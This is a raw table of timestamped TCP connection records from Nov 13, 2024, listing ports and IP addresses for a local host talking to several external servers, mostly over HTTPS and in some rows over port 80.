Nov 13, 2024 18:08:29.116435051 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.116516113 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.117701054 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.117789030 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.118220091 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.118220091 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.118304014 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.146526098 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.146554947 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.146595001 CET	49840	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.146610022 CET	443	49840	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.147989988 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.147989988 CET	49841	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.148013115 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.148022890 CET	443	49841	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.148111105 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.148185015 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.148226023 CET	49839	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.148245096 CET	443	49839	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.221687078 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:29.221714973 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:29.225584984 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:29.225804090 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:29.225822926 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:29.293467999 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.293492079 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.293560028 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.314210892 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.314244032 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.314302921 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.322489977 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.322511911 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.322560072 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.322738886 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.322782040 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.333760977 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:29.333786011 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:29.333834887 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:29.334593058 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:29.334610939 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:29.344904900 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.344926119 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.357301950 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.357320070 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.422913074 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:29.423247099 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:29.428015947 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.428195000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.428257942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:29.435411930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:29.435411930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:29.440660954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.441658020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.441689014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.441719055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:29.567867994 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:29.567897081 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:29.568295002 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:29.571528912 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:29.571548939 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:29.854237080 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.855492115 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.855557919 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.856205940 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.856223106 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.862833977 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.863404989 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.863446951 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.863941908 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.863953114 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.984632015 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.984790087 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.984875917 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.984996080 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.985040903 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.985074997 CET	49848	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.985091925 CET	443	49848	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.988181114 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.988202095 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.988276958 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.988420963 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.988435030 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.996681929 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.996836901 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.996912956 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.996997118 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.996997118 CET	49844	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:29.997039080 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:29.997068882 CET	443	49844	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.017852068 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.017898083 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.017973900 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.020009995 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.020041943 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.059695005 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.060403109 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.060434103 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.061027050 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.061036110 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.340105057 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.340720892 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.344782114 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.344798088 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.345184088 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.345201969 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.345470905 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.345479965 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.345534086 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.345578909 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.345803976 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.350529909 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.358237982 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.358314991 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.359004974 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.359011889 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.360152960 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.360249043 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.360687017 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.360697985 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.364547014 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.364641905 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.369524956 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.369560957 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.370203018 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.370209932 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.383322001 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.383346081 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.384121895 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.384126902 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.406770945 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.406778097 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.447778940 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.453841925 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.453922033 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.454080105 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.467859030 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.467900038 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.467940092 CET	49850	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.467955112 CET	443	49850	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.480953932 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.480963945 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.481256962 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.482553005 CET	49876	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.482564926 CET	443	49876	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.503421068 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.503771067 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.503844023 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.503844976 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.503875017 CET	49851	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.503890038 CET	443	49851	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.506309032 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.506336927 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.507411957 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.508939981 CET	49877	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.508946896 CET	443	49877	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.516582966 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.516797066 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.516964912 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.516964912 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.517123938 CET	49852	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.517132998 CET	443	49852	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.523004055 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.523035049 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.523154974 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.525681973 CET	49878	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.525691986 CET	443	49878	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.539911985 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.602564096 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.602596045 CET	443	49879	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.602603912 CET	49880	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.602632046 CET	443	49880	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:30.602693081 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.602788925 CET	49880	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.604351997 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.604362965 CET	443	49879	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.604382992 CET	49880	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.604396105 CET	443	49880	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:30.607239008 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.607275009 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.607359886 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.607374907 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.611675024 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.617683887 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.617690086 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.624339104 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.625682116 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.625690937 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.629342079 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.629695892 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.629703045 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.653315067 CET	49881	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.653335094 CET	443	49881	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.653493881 CET	49881	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.654387951 CET	49881	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.654398918 CET	443	49881	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.685852051 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.688249111 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.688249111 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.688267946 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.688478947 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.690999985 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.690999985 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.691019058 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.691293001 CET	49865	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:30.725106001 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725136042 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725173950 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725198030 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.725213051 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725223064 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.725629091 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725761890 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.725792885 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.725799084 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.726480961 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.728648901 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.728697062 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.730215073 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.730221033 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.732822895 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.734421968 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.734438896 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.735050917 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.735055923 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.735342026 CET	443	49865	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:30.741485119 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.741517067 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.741539955 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.741585016 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.741592884 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.741722107 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.772164106 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.772213936 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.772265911 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.772294998 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.772303104 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.772316933 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.772341967 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.772414923 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.782443047 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.782995939 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.783025980 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.783648014 CET	49872	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.783655882 CET	443	49872	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.791913033 CET	49879	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.792154074 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.792180061 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.792594910 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.792958021 CET	49882	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.792975903 CET	443	49882	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.793144941 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:30.793356895 CET	443	49826	94.245.104.56	192.168.2.6
Nov 13, 2024 18:08:30.793437958 CET	49826	443	192.168.2.6	94.245.104.56
Nov 13, 2024 18:08:30.793617964 CET	49880	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.793868065 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.793952942 CET	443	49859	18.244.18.122	192.168.2.6
Nov 13, 2024 18:08:30.794015884 CET	49859	443	192.168.2.6	18.244.18.122
Nov 13, 2024 18:08:30.794748068 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.794805050 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:30.794871092 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.795356035 CET	49881	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.795372009 CET	49883	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:30.795403004 CET	443	49883	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:30.795700073 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.795721054 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.795880079 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.796287060 CET	49886	443	192.168.2.6	172.64.41.3
Nov 13, 2024 18:08:30.796310902 CET	443	49886	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.796494961 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.839333057 CET	443	49880	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:30.839340925 CET	443	49879	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.839358091 CET	443	49881	172.64.41.3	192.168.2.6
Nov 13, 2024 18:08:30.841732025 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.841768026 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.841792107 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.841861963 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.841861963 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.841877937 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.842024088 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.842052937 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.842080116 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.842088938 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.842952013 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.842983961 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.843015909 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.843023062 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.843044996 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.843978882 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.844016075 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.844046116 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.844075918 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.844084024 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.844113111 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.846432924 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.846462965 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.846486092 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.846493959 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.846797943 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.846817017 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.849102020 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.849143028 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.849172115 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.849179983 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.849394083 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.852206945 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.858330011 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.858380079 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.858408928 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.858422041 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.858655930 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.860150099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:30.860209942 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.860728979 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:30.865252972 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.865717888 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.865737915 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.865818977 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.865977049 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.866358042 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.868736029 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.868736029 CET	49871	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.868746996 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.868755102 CET	443	49871	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.870579958 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.870609999 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.870780945 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.870798111 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.871347904 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.875240088 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.878979921 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.879359961 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.879371881 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.883116007 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.883147955 CET	443	49887	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:30.884094000 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.884107113 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.884234905 CET	49887	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:30.884234905 CET	49849	443	192.168.2.6	216.58.206.33
Nov 13, 2024 18:08:30.884243011 CET	443	49849	216.58.206.33	192.168.2.6
Nov 13, 2024 18:08:30.884254932 CET	443	49887	13.107.246.45	192.168.2.6
